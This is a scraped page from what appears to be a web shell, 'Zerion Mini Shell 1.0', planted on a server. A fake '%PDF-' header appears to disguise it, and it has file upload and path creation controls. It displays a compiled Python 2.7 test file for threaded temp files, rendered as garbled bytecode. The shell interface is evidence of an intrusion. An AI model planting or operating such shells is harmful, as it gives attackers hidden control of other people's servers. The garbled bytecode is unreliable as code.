%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_threadedtempfile.pyo

ó
Nêáac@sÏdZdZdZddlZddlmZmZmZedƒZddl	Z	ddl
Z
ddlmZej
ƒZdejfd	„ƒYZd
e	jfd„ƒYZd„Zed
krËeƒndS(sn
Create and delete FILES_PER_THREAD temp files (via tempfile.TemporaryFile)
in each of NUM_THREADS threads, recording the number of successes and
failures.  A failure is a bug in tempfile, and may be due to:

+ Trying to create more than one tempfile with the same name.
+ Trying to delete a tempfile that doesn't still exist.
+ Something we've never seen before.

By default, NUM_THREADS == 20 and FILES_PER_THREAD == 50.  This is enough to
create about 150 failures per run under Win98SE in 2.0, and runs pretty
quickly. Guido reports needing to boost FILES_PER_THREAD to 500 before
provoking a 2.0 failure under Linux.
ii2iÿÿÿÿN(t
start_threadstrun_unittestt
import_modulet	threading(t	print_exctTempFileGreedycBseZdZdZd„ZRS(icCs‰tjƒ|_tjƒxittƒD][}ytjdƒ}|jƒWn&|j	d7_	t
d|jƒq&X|jd7_q&WdS(Nsw+bitfile(tStringIOterrorst
startEventtwaittrangetFILES_PER_THREADttempfilet
TemporaryFiletcloseterror_countRtok_count(tselftitf((s6/usr/local/lib/python2.7/test/test_threadedtempfile.pytrun!s
(t__name__t
__module__RRR(((s6/usr/local/lib/python2.7/test/test_threadedtempfile.pyRstThreadedTempFileTestcBseZd„ZRS(cCsßgttƒD]}tƒ^q
}t|tjƒWdQXtd„|Dƒƒ}g|D]4}|jrXt|j	ƒƒt|j
jƒƒ^qX}dt|ƒ|dj
|ƒf}|j|g|ƒ|j|ttƒdS(Ncss|]}|jVqdS(N(R(t.0tt((s6/usr/local/lib/python2.7/test/test_threadedtempfile.pys	<genexpr>4ssErrors: errors %d ok %d
%ss
(RtNUM_THREADSRRR	tsettsumRtstrtgetNameRtgetvaluetlentjointassertEqualR(RRtthreadstokRRtmsg((s6/usr/local/lib/python2.7/test/test_threadedtempfile.pyt	test_main0s">(RRR'(((s6/usr/local/lib/python2.7/test/test_threadedtempfile.pyR/scCsttƒdS(N(RR(((s6/usr/local/lib/python2.7/test/test_threadedtempfile.pyR'=st__main__(t__doc__RRR
ttest.test_supportRRRRtunittestRt	tracebackRtEventR	tThreadRtTestCaseRR'R(((s6/usr/local/lib/python2.7/test/test_threadedtempfile.pyt<module>s	

Zerion Mini Shell 1.0